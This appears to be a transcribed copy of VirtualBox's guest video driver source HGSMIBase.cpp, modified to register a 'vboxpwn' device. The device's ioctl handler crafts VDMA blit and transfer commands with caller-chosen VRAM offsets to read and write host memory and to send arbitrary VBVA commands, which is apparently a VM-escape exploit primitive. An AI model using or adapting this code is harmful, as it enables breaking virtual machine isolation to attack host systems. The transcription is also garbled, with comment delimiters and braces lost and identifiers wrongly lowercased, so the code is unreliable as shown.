/* $Id: HGSMIBase.cpp $ */ * VirtualBox Video driver, common code - HGSMI initialisation and helper * functions. */
|
|
- Alyson York
- 5 years ago
- Views:
Transcription
1 HGSMIBase.c /* $Id: HGSMIBase.cpp $ * VirtualBox Video driver, common code - HGSMI initialisation and helper * functions. /* * Copyright (C) Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. #include <VBox/VBoxVideoGuest.h> #include <VBox/VBoxVideo.h> #include <VBox/VBoxGuest.h> #include <VBox/Hardware/VBoxVideoVBE.h> #include <VBox/VMMDev.h> #include <iprt/asm.h> #include <iprt/log.h> #include <iprt/string.h> #include <linux/printk.h> #include <linux/miscdevice.h> #include <linux/uaccess.h> #include <linux/slab.h> /** Send completion notification to the host for the command located at offset offt into the host command buffer. static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pctx, HGSMIOFFSET offt) VBoxVideoCmnPortWriteUlong(pCtx->port, offt);
2 /** * Inform the host that a command has been handled. * pctx the context containing the heap to be used pvmem pointer into the heap as mapped pctx to the command to * be completed DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pctx, void *pvmem) HGSMIBUFFERHEADER *phdr = HGSMIBufferHeaderFromData(pvMem); HGSMIOFFSET offmem = HGSMIPointerToOffset(&pCtx->areaCtx, phdr); Assert(offMem!= HGSMIOFFSET_VOID); if(offmem!= HGSMIOFFSET_VOID) HGSMINotifyHostCmdComplete(pCtx, offmem); /** Submit an incoming host command to the appropriate handler. static void hgsmihostcmdprocess(phgsmihostcommandcontext pctx, HGSMIOFFSET offbuffer) int rc = HGSMIBufferProcess(&pCtx->areaCtx, &pctx->channels, offbuffer); Assert(!RT_FAILURE(rc)); if(rt_failure(rc)) /* failure means the command was not submitted to the handler for some reason * it's our responsibility to notify its completion in this case HGSMINotifyHostCmdComplete(pCtx, offbuffer); /* if the cmd succeeded it's responsibility of the callback to complete it /** Get the next command from the host. static HGSMIOFFSET hgsmigethostbuffer(phgsmihostcommandcontext pctx) return VBoxVideoCmnPortReadUlong(pCtx->port); /** Get and handle the next command from the host. static void hgsmihostcommandqueryprocess(phgsmihostcommandcontext pctx)
3 HGSMIOFFSET offset = hgsmigethostbuffer(pctx); AssertReturnVoid(offset!= HGSMIOFFSET_VOID); hgsmihostcmdprocess(pctx, offset); /** Drain the host command queue. DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pctx) while (pctx->pfhostflags->u32hostflags & HGSMIHOSTFLAGS_COMMANDS_PENDING) if (!ASMAtomicCmpXchgBool(&pCtx->fHostCmdProcessing, true, false)) return; hgsmihostcommandqueryprocess(pctx); ASMAtomicWriteBool(&pCtx->fHostCmdProcessing, false); /** Detect whether HGSMI is supported by the host. DECLHIDDEN(bool) VBoxHGSMIIsSupported(void) uint16_t DispiId; VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID); VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI); DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA); return (DispiId == VBE_DISPI_ID_HGSMI); /** * Allocate and initialise a command descriptor in the guest heap for a * guest-to-host command. * pointer to the descriptor's command data buffer pctx the context containing the heap to be used cbdata the size of the command data to go into the descriptor u8ch the HGSMI channel to be used, set to the descriptor u16op the HGSMI command to be sent, set to the descriptor
4 DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pctx, HGSMISIZE cbdata, uint8_t u8ch, uint16_t u16op) #ifdef VBOX_WDDM_MINIPORT return VBoxSHGSMIHeapAlloc (&pctx->heapctx, cbdata, u8ch, u16op); #else return HGSMIHeapAlloc (&pctx->heapctx, cbdata, u8ch, u16op); #endif /** * Free a descriptor allocated VBoxHGSMIBufferAlloc. * pctx the context containing the heap used pvbuffer the pointer returned VBoxHGSMIBufferAlloc DECLHIDDEN(void) VBoxHGSMIBufferFree(PHGSMIGUESTCOMMANDCONTEXT pctx, void *pvbuffer) #ifdef VBOX_WDDM_MINIPORT VBoxSHGSMIHeapFree (&pctx->heapctx, pvbuffer); #else HGSMIHeapFree (&pctx->heapctx, pvbuffer); #endif /** * Submit a command descriptor allocated VBoxHGSMIBufferAlloc. * pctx the context containing the heap used pvbuffer the pointer returned VBoxHGSMIBufferAlloc DECLHIDDEN(int) VBoxHGSMIBufferSubmit(PHGSMIGUESTCOMMANDCONTEXT pctx, void *pvbuffer) /* Initialize the buffer and get the offset for port IO. HGSMIOFFSET offbuffer = HGSMIHeapBufferOffset (HGSMIGUESTCMDHEAP_GET(&pCtx->heapCtx), pvbuffer); Assert(offBuffer!= HGSMIOFFSET_VOID);
5 if (offbuffer!= HGSMIOFFSET_VOID) /* Submit the buffer to the host. VBoxVideoCmnPortWriteUlong(pCtx->port, offbuffer); /* Make the compiler aware that the host has changed memory. ASMCompilerBarrier(); return VINF_SUCCESS; return VERR_INVALID_PARAMETER; /** Inform the host of the location of the host flags in VRAM via an HGSMI * command. static int vboxhgsmireportflagslocation(phgsmiguestcommandcontext pctx, HGSMIOFFSET offlocation) HGSMIBUFFERLOCATION *p; int rc = VINF_SUCCESS; /* Allocate the IO buffer. p = (HGSMIBUFFERLOCATION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(hgsmibufferlocation), HGSMI_CH_HGSMI, HGSMI_CC_HOST_FLAGS_LOCATION); if (p) /* Prepare data to be sent to the host. p->offlocation = offlocation; p->cblocation = sizeof(hgsmihostflags); rc = VBoxHGSMIBufferSubmit(pCtx, p); /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; return rc; /** * Inform the host of the location of the host flags in VRAM via an HGSMI * command.
6 IPRT status value. VERR_NOT_IMPLEMENTED if the host does not support the command. VERR_NO_MEMORY if a heap allocation fails. pctx the context of the guest heap to use. offlocation the offset chosen for the flags withing guest * VRAM. DECLHIDDEN(int) VBoxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pctx, HGSMIOFFSET offlocation) return vboxhgsmireportflagslocation(pctx, offlocation); /** Notify the host of HGSMI-related guest capabilities via an HGSMI command. static int vboxhgsmisendcapsinfo(phgsmiguestcommandcontext pctx, uint32_t fcaps) VBVACAPS *pcaps; int rc = VINF_SUCCESS; /* Allocate the IO buffer. pcaps = (VBVACAPS *)VBoxHGSMIBufferAlloc(pCtx, sizeof(vbvacaps), HGSMI_CH_VBVA, VBVA_INFO_CAPS); if (pcaps) /* Prepare data to be sent to the host. pcaps->rc = VERR_NOT_IMPLEMENTED; pcaps->fcaps = fcaps; rc = VBoxHGSMIBufferSubmit(pCtx, pcaps); if (RT_SUCCESS(rc)) AssertRC(pCaps->rc); rc = pcaps->rc; /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, pcaps); else rc = VERR_NO_MEMORY; return rc;
7 /** * Notify the host of HGSMI-related guest capabilities via an HGSMI command. IPRT status value. VERR_NOT_IMPLEMENTED if the host does not support the command. VERR_NO_MEMORY if a heap allocation fails. pctx the context of the guest heap to use. fcaps the capabilities to report, see VBVACAPS. DECLHIDDEN(int) VBoxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pctx, uint32_t fcaps) return vboxhgsmisendcapsinfo(pctx, fcaps); /** Tell the host about the location of the area of VRAM set aside for the host * heap. static int vboxhgsmireporthostarea(phgsmiguestcommandcontext pctx, uint32_t u32areaoffset, uint32_t u32areasize) VBVAINFOHEAP *p; int rc = VINF_SUCCESS; /* Allocate the IO buffer. p = (VBVAINFOHEAP *)VBoxHGSMIBufferAlloc(pCtx, sizeof (VBVAINFOHEAP), HGSMI_CH_VBVA, VBVA_INFO_HEAP); if (p) /* Prepare data to be sent to the host. p->u32heapoffset = u32areaoffset; p->u32heapsize = u32areasize; rc = VBoxHGSMIBufferSubmit(pCtx, p); /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; return rc;
8 /** * Get the information needed to map the basic communication structures in * device memory into our address space. All pointer parameters are optional. * cbvram how much video RAM is allocated to the device poffvrambasemapping where to save the offset from the start of the * device VRAM of the whole area to map pcbmapping where to save the mapping size poffguestheapmemory where to save the offset into the mapped area * of the guest heap backing memory pcbguestheapmemory where to save the size of the guest heap * backing memory poffhostflags where to save the offset into the mapped area * of the host flags DECLHIDDEN(void) VBoxHGSMIGetBaseMappingInfo(uint32_t cbvram, uint32_t *poffvrambasemapping, uint32_t *pcbmapping, uint32_t *poffguestheapmemory, uint32_t *pcbguestheapmemory, uint32_t *poffhostflags) AssertPtrNullReturnVoid(poffVRAMBaseMapping); AssertPtrNullReturnVoid(pcbMapping); AssertPtrNullReturnVoid(poffGuestHeapMemory); AssertPtrNullReturnVoid(pcbGuestHeapMemory); AssertPtrNullReturnVoid(poffHostFlags); if (poffvrambasemapping) *poffvrambasemapping = cbvram - VBVA_ADAPTER_INFORMATION_SIZE; if (pcbmapping) *pcbmapping = VBVA_ADAPTER_INFORMATION_SIZE; if (poffguestheapmemory) *poffguestheapmemory = 0; if (pcbguestheapmemory) *pcbguestheapmemory = VBVA_ADAPTER_INFORMATION_SIZE - sizeof(hgsmihostflags); if (poffhostflags) *poffhostflags = VBVA_ADAPTER_INFORMATION_SIZE - sizeof(hgsmihostflags); typedef struct VBOXVDMACBUF_DR
9 uint16_t fflags; uint16_t cbbuf; /* RT_SUCCESS() - on success * VERR_INTERRUPTED - on preemption * VERR_xxx - on error int32_t rc; union uint64_t phbuf; VBOXVIDEOOFFSET offvrambuf; Location; uint64_t aguestdata[7]; VBOXVDMACBUF_DR, *PVBOXVDMACBUF_DR; typedef struct VBOXVDMACMD VBOXVDMACMD_TYPE enmtype; uint32_t u32cmdspecific; VBOXVDMACMD, *PVBOXVDMACMD; // Data structures for BPB_TRANSFER typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER uint32_t cbtransfersize; uint32_t fflags; union uint64_t phbuf; VBOXVIDEOOFFSET offvrambuf; Src; union uint64_t phbuf; VBOXVIDEOOFFSET offvrambuf; Dst; VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER; // Data structures for PRESENT_BLT typedef enum VBOXVDMA_PIXEL_FORMAT_UNKNOWN = 0, VBOXVDMA_PIXEL_FORMAT_R8G8B8 = 20, VBOXVDMA_PIXEL_FORMAT_A8R8G8B8 = 21,
10 VBOXVDMA_PIXEL_FORMAT_X8R8G8B8 = 22, VBOXVDMA_PIXEL_FORMAT_R5G6B5 = 23, VBOXVDMA_PIXEL_FORMAT_X1R5G5B5 = 24, VBOXVDMA_PIXEL_FORMAT_A1R5G5B5 = 25, VBOXVDMA_PIXEL_FORMAT_A4R4G4B4 = 26, VBOXVDMA_PIXEL_FORMAT_R3G3B2 = 27, VBOXVDMA_PIXEL_FORMAT_A8 = 28, VBOXVDMA_PIXEL_FORMAT_A8R3G3B2 = 29, VBOXVDMA_PIXEL_FORMAT_X4R4G4B4 = 30, VBOXVDMA_PIXEL_FORMAT_A2B10G10R10 = 31, VBOXVDMA_PIXEL_FORMAT_A8B8G8R8 = 32, VBOXVDMA_PIXEL_FORMAT_X8B8G8R8 = 33, VBOXVDMA_PIXEL_FORMAT_G16R16 = 34, VBOXVDMA_PIXEL_FORMAT_A2R10G10B10 = 35, VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36, VBOXVDMA_PIXEL_FORMAT_A8P8 = 40, VBOXVDMA_PIXEL_FORMAT_P8 = 41, VBOXVDMA_PIXEL_FORMAT_L8 = 50, VBOXVDMA_PIXEL_FORMAT_A8L8 = 51, VBOXVDMA_PIXEL_FORMAT_A4L4 = 52, VBOXVDMA_PIXEL_FORMAT_V8U8 = 60, VBOXVDMA_PIXEL_FORMAT_L6V5U5 = 61, VBOXVDMA_PIXEL_FORMAT_X8L8V8U8 = 62, VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8 = 63, VBOXVDMA_PIXEL_FORMAT_V16U16 = 64, VBOXVDMA_PIXEL_FORMAT_W11V11U10 = 65, VBOXVDMA_PIXEL_FORMAT_A2W10V10U10 = 67 VBOXVDMA_PIXEL_FORMAT; typedef struct VBOXVDMA_SURF_DESC uint32_t width; uint32_t height; VBOXVDMA_PIXEL_FORMAT format; uint32_t bpp; uint32_t pitch; uint32_t fflags; VBOXVDMA_SURF_DESC, *PVBOXVDMA_SURF_DESC; typedef struct VBOXVDMA_RECTL int16_t left; int16_t top; uint16_t width;
11 uint16_t height; VBOXVDMA_RECTL, *PVBOXVDMA_RECTL; typedef struct VBOXVDMACMD_DMA_PRESENT_BLT VBOXVIDEOOFFSET offsrc; VBOXVIDEOOFFSET offdst; VBOXVDMA_SURF_DESC srcdesc; VBOXVDMA_SURF_DESC dstdesc; VBOXVDMA_RECTL srcrectl; VBOXVDMA_RECTL dstrectl; uint32_t u32reserved; uint32_t cdstsubrects; VBOXVDMA_RECTL adstsubrects[1]; VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT; PHGSMIGUESTCOMMANDCONTEXT g_hgsmicontext; char* g_vram; typedef struct PwnRequest uint32_t type; // 1/4 == read, 2/5 == write, 3 == custom VBVA command, // 6 == get VRAM size uint32_t size; uint64_t offset; char data[1]; PwnRequest; static long pwnioctl(struct file *pfilp, unsigned int ucmd, unsigned long ularg) printk("handling ioctl()\n"); uint32_t size = ucmd; PwnRequest* req = (PwnRequest*)ulArg; if (size < 16) printk("request buffer too small (is=%d)\n", size); return -EINVAL; if (req->type == 1) char *p; printk("preparing VMDA command for reading %u bytes (offset=%lu).\n", req->size, req->offset); uint32_t header_size =
12 32 + sizeof(vboxvdmacbuf_dr) + sizeof(vboxvdmacmd) + sizeof(vboxvdmacmd_dma_present_blt); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memset(p + header_size, 0x41, req->size); PVBOXVDMACBUF_DR pcmd = (PVBOXVDMACBUF_DR)(p+32); pcmd->fflags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR; pcmd->cbbuf = 0xffff; PVBOXVDMACMD pdmacmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(vboxvdmacbuf_dr)); pdmacmd->enmtype = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT ; PVBOXVDMACMD_DMA_PRESENT_BLT pblt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(vboxvdmacmd)); pblt->cdstsubrects = 0; pblt->offsrc = req->offset; pblt->offdst = p - g_vram + header_size; pblt->srcrectl.width = 1; pblt->srcrectl.height = req->size; pblt->srcrectl.left = 0; pblt->srcrectl.top = 0; pblt->dstrectl.width = 1; pblt->dstrectl.height = req->size; pblt->dstrectl.left = 0; pblt->dstrectl.top = 0; pblt->srcdesc.width = 1; pblt->srcdesc.height = req->size; pblt->srcdesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8; pblt->srcdesc.bpp = 1;
13 pblt->srcdesc.pitch = 1; pblt->srcdesc.fflags = 0; pblt->dstdesc.width = 1; pblt->dstdesc.height = req->size; pblt->dstdesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8; pblt->dstdesc.bpp = 1; pblt->dstdesc.pitch = 1; pblt->dstdesc.fflags = 0; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VMDA command: %d\n", rc); return -EFAULT; memcpy(req->data, p+header_size, req->size); else if (req->type == 2) char *p; printk("preparing VMDA command for writing %u bytes (offset=%lu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(vboxvdmacbuf_dr) + sizeof(vboxvdmacmd) + sizeof(vboxvdmacmd_dma_present_blt); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memcpy(p + header_size, req->data, req->size); PVBOXVDMACBUF_DR pcmd = (PVBOXVDMACBUF_DR)(p+32); pcmd->fflags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR; pcmd->cbbuf = 0xffff;
14 PVBOXVDMACMD pdmacmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(vboxvdmacbuf_dr)); pdmacmd->enmtype = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT ; PVBOXVDMACMD_DMA_PRESENT_BLT pblt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(vboxvdmacmd)); pblt->cdstsubrects = 0; pblt->offsrc = p - g_vram + header_size; pblt->offdst = req->offset; pblt->srcrectl.width = 1; pblt->srcrectl.height = req->size; pblt->srcrectl.left = 0; pblt->srcrectl.top = 0; pblt->dstrectl.width = 1; pblt->dstrectl.height = req->size; pblt->dstrectl.left = 0; pblt->dstrectl.top = 0; pblt->srcdesc.width = 1; pblt->srcdesc.height = req->size; pblt->srcdesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8; pblt->srcdesc.bpp = 1; pblt->srcdesc.pitch = 1; pblt->srcdesc.fflags = 0; pblt->dstdesc.width = 1; pblt->dstdesc.height = req->size; pblt->dstdesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8; pblt->dstdesc.bpp = 1; pblt->dstdesc.pitch = 1; pblt->dstdesc.fflags = 0; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VMDA command: %d\n", rc); return -EFAULT; else if (req->type == 3) char *p; printk("sending custom VBVA command (size=%u).\n", req->size);
15 p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, req->size, HGSMI_CH_VBVA, req->offset); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memcpy(p, req->data, req->size); int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VBVA command: %d\n", rc); return -EFAULT; else if (req->type == 4) char *p; printk("preparing BpbTransfer command for reading %u bytes (offset=%llu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(vboxvdmacbuf_dr) + sizeof(vboxvdmacmd) + sizeof(vboxvdmacmd_dma_bpb_transfer); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memset(p + header_size, 0x41, req->size); PVBOXVDMACBUF_DR pcmd = (PVBOXVDMACBUF_DR)(p+32); pcmd->fflags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR; pcmd->cbbuf = 0xffff;
16 PVBOXVDMACMD pdmacmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(vboxvdmacbuf_dr)); pdmacmd->enmtype = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER ; PVBOXVDMACMD_DMA_BPB_TRANSFER pbpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(vboxvdmacmd)); pbpb->cbtransfersize = req->size; pbpb->fflags = 3; pbpb->src.offvrambuf = req->offset; pbpb->dst.offvrambuf = p - g_vram + header_size; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VDMA command: %d\n", rc); return -EFAULT; memcpy(req->data, p+header_size, req->size); else if (req->type == 5) char *p; printk("preparing BpbTransfer command for writing %u bytes (offset=%llu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(vboxvdmacbuf_dr) + sizeof(vboxvdmacmd) + sizeof(vboxvdmacmd_dma_bpb_transfer); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memcpy(p + header_size, req->data, req->size); PVBOXVDMACBUF_DR pcmd = (PVBOXVDMACBUF_DR)(p+32); pcmd->fflags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR; pcmd->cbbuf = 0xffff;
17 PVBOXVDMACMD pdmacmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(vboxvdmacbuf_dr)); pdmacmd->enmtype = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER ; PVBOXVDMACMD_DMA_BPB_TRANSFER pbpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(vboxvdmacmd)); pbpb->cbtransfersize = req->size; pbpb->fflags = 3; pbpb->dst.offvrambuf = req->offset; pbpb->src.offvrambuf = p - g_vram + header_size; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VDMA command: %d\n", rc); return -EFAULT; memcpy(req->data, p+header_size, req->size); else if (req->type == 6) printk("getting VRAM size\n"); uint32_t vram_size = VBoxVideoCmnPortReadUlong(VBE_DISPI_IOPORT_DATA); memcpy(req->data, &vram_size, sizeof vram_size); else printk("unknown request type: %d\n", req->type); return -EFAULT; return 0; static struct file_operations g_pwnfileops = owner: THIS_MODULE, unlocked_ioctl: pwnioctl, ; static struct miscdevice g_pwndevice = minor: MISC_DYNAMIC_MINOR, name: "vboxpwn", fops: &g_pwnfileops, ;
18 /** * Set up the HGSMI guest-to-host command context. iprt status value pctx the context to set up pvguestheapmemory a pointer to the mapped backing memory for * the guest heap cbguestheapmemory the size of the backing memory area offvramguestheapmemory the offset of the memory pointed to by pvguestheapmemory within the video RAM DECLHIDDEN(int) VBoxHGSMISetupGuestContext(PHGSMIGUESTCOMMANDCONTEXT pctx, void *pvguestheapmemory, uint32_t cbguestheapmemory, uint32_t offvramguestheapmemory, const HGSMIENV *penv) g_vram = (char*)pvguestheapmemory - offvramguestheapmemory; g_hgsmicontext = pctx; printk("registering device node. 0x%016lx\n", g_vram); if (!misc_register(&g_pwndevice)) printk("successfully created pwn device.\n"); else printk("error creating pwn device.\n"); should we be using a fixed ISA port value here? pctx->port = (RTIOPORT)VGA_PORT_HGSMI_GUEST; #ifdef VBOX_WDDM_MINIPORT return VBoxSHGSMIInit(&pCtx->heapCtx, pvguestheapmemory, cbguestheapmemory, offvramguestheapmemory, penv); #else return HGSMIHeapSetup(&pCtx->heapCtx, pvguestheapmemory, cbguestheapmemory, offvramguestheapmemory, penv); #endif /** * Get the information needed to map the area used by the host to send back * requests. * pctx the context containing the heap to use
19 cbvram how much video RAM is allocated to the device offvrambasemapping the offset of the basic communication structures * into the guest's VRAM poffvramhostarea where to store the offset into VRAM of the host * heap area pcbhostarea where to store the size of the host heap area DECLHIDDEN(void) VBoxHGSMIGetHostAreaMapping(PHGSMIGUESTCOMMANDCONTEXT pctx, uint32_t cbvram, uint32_t offvrambasemapping, uint32_t *poffvramhostarea, uint32_t *pcbhostarea) uint32_t offvramhostarea = offvrambasemapping, cbhostarea = 0; AssertPtrReturnVoid(poffVRAMHostArea); AssertPtrReturnVoid(pcbHostArea); VBoxQueryConfHGSMI(pCtx, VBOX_VBVA_CONF32_HOST_HEAP_SIZE, &cbhostarea); if (cbhostarea!= 0) uint32_t cbhostareamaxsize = cbvram / 4; what is the idea of this? if (cbhostareamaxsize >= VBVA_ADAPTER_INFORMATION_SIZE) cbhostareamaxsize -= VBVA_ADAPTER_INFORMATION_SIZE; if (cbhostarea > cbhostareamaxsize) cbhostarea = cbhostareamaxsize; /* Round up to 4096 bytes. cbhostarea = (cbhostarea + 0xFFF) & ~0xFFF; offvramhostarea = offvrambasemapping - cbhostarea; *pcbhostarea = cbhostarea; *poffvramhostarea = offvramhostarea; LogFunc(("offVRAMHostArea = 0x%08X, cbhostarea = 0x%08X\n", offvramhostarea, cbhostarea)); /** * Initialise the host context structure.
20 * pctx the context structure to initialise pvbasemapping where the basic HGSMI structures are mapped at offhostflags the offset of the host flags into the basic HGSMI * structures pvhostareamapping where the area for the host heap is mapped at offvramhostarea offset of the host heap area into VRAM cbhostarea size in bytes of the host heap area DECLHIDDEN(void) VBoxHGSMISetupHostContext(PHGSMIHOSTCOMMANDCONTEXT pctx, void *pvbasemapping, uint32_t offhostflags, void *pvhostareamapping, uint32_t offvramhostarea, uint32_t cbhostarea) uint8_t *pu8hostflags = ((uint8_t *)pvbasemapping) + offhostflags; pctx->pfhostflags = (HGSMIHOSTFLAGS *)pu8hostflags; should we really be using a fixed ISA port value here? pctx->port = (RTIOPORT)VGA_PORT_HGSMI_HOST; HGSMIAreaInitialize(&pCtx->areaCtx, pvhostareamapping, cbhostarea, offvramhostarea); /** * Tell the host about the ways it can use to communicate back to us via an * HGSMI command * iprt status value pctx the context containing the heap to use offvramflagslocation where we wish the host to place its flags * relative to the start of the VRAM fcaps additions HGSMI capabilities the guest * supports offvramhostarea offset into VRAM of the host heap area cbhostarea size in bytes of the host heap area DECLHIDDEN(int) VBoxHGSMISendHostCtxInfo(PHGSMIGUESTCOMMANDCONTEXT pctx, HGSMIOFFSET offvramflagslocation, uint32_t fcaps, uint32_t offvramhostarea, uint32_t cbhostarea)
21 Log(("VBoxVideo::vboxSetupAdapterInfo\n")); /* setup the flags first to ensure they are initialized by the time the * host heap is ready int rc = vboxhgsmireportflagslocation(pctx, offvramflagslocation); AssertRC(rc); if (RT_SUCCESS(rc) && fcaps) /* Inform about caps rc = vboxhgsmisendcapsinfo(pctx, fcaps); AssertRC(rc); if (RT_SUCCESS (rc)) /* Report the host heap location. rc = vboxhgsmireporthostarea(pctx, offvramhostarea, cbhostarea); AssertRC(rc); Log(("VBoxVideo::vboxSetupAdapterInfo finished rc = %d\n", rc)); return rc; /** Sanity test on first call. We do not worry about concurrency issues. static int testqueryconf(phgsmiguestcommandcontext pctx) static bool conce = false; uint32_t ulvalue = 0; int rc; if (conce) return VINF_SUCCESS; conce = true; rc = VBoxQueryConfHGSMI(pCtx, UINT32_MAX, &ulvalue); if (RT_SUCCESS(rc) && ulvalue == UINT32_MAX) return VINF_SUCCESS; conce = false; if (RT_FAILURE(rc)) return rc; return VERR_INTERNAL_ERROR; /**
22 * Query the host for an HGSMI configuration parameter via an HGSMI command. iprt status value pctx the context containing the heap used u32index the index of the parameter to query, VBVACONF32::u32Index u32defvalue defaut value pulvalue where to store the value of the parameter on success DECLHIDDEN(int) VBoxQueryConfHGSMIDef(PHGSMIGUESTCOMMANDCONTEXT pctx, uint32_t u32index, uint32_t u32defvalue, uint32_t *pulvalue) int rc = VINF_SUCCESS; VBVACONF32 *p; LogFunc(("u32Index = %d\n", u32index)); rc = testqueryconf(pctx); if (RT_FAILURE(rc)) return rc; /* Allocate the IO buffer. p = (VBVACONF32 *)VBoxHGSMIBufferAlloc(pCtx, sizeof(vbvaconf32), HGSMI_CH_VBVA, VBVA_QUERY_CONF32); if (p) /* Prepare data to be sent to the host. p->u32index = u32index; p->u32value = u32defvalue; rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) *pulvalue = p->u32value; LogFunc(("u32Value = %d\n", p->u32value)); /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; LogFunc(("rc = %d\n", rc)); return rc; DECLHIDDEN(int) VBoxQueryConfHGSMI(PHGSMIGUESTCOMMANDCONTEXT pctx,
23 uint32_t u32index, uint32_t *pulvalue) return VBoxQueryConfHGSMIDef(pCtx, u32index, UINT32_MAX, pulvalue); /** * Pass the host a new mouse pointer shape via an HGSMI command. * success or failure fflags cursor VMMDevReqMousePointer::fFlags chotx horizontal position of the hot spot choty vertical position of the hot spot cwidth width in pixels of the cursor cheight height in pixels of the cursor ppixels pixel VMMDevReqMousePointer for the format cblength size in bytes of the pixel data DECLHIDDEN(int) VBoxHGSMIUpdatePointerShape(PHGSMIGUESTCOMMANDCONTEXT pctx, uint32_t fflags, uint32_t chotx, uint32_t choty, uint32_t cwidth, uint32_t cheight, uint8_t *ppixels, uint32_t cblength) VBVAMOUSEPOINTERSHAPE *p; uint32_t cbdata = 0; int rc = VINF_SUCCESS; if (fflags & VBOX_MOUSE_POINTER_SHAPE) /* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) cbdata = ((((cwidth + 7) / 8) * cheight + 3) & ~3) + cwidth * 4 * cheight; /* If shape is supplied, then always create the pointer visible. * See comments in 'vboxupdatepointershape' fflags = VBOX_MOUSE_POINTER_VISIBLE; LogFlowFunc(("cbData %d, %dx%d\n", cbdata, cwidth, cheight)); if (cbdata > cblength) LogFunc(("calculated pointer data size is too big (%d bytes, limit %d)\n",
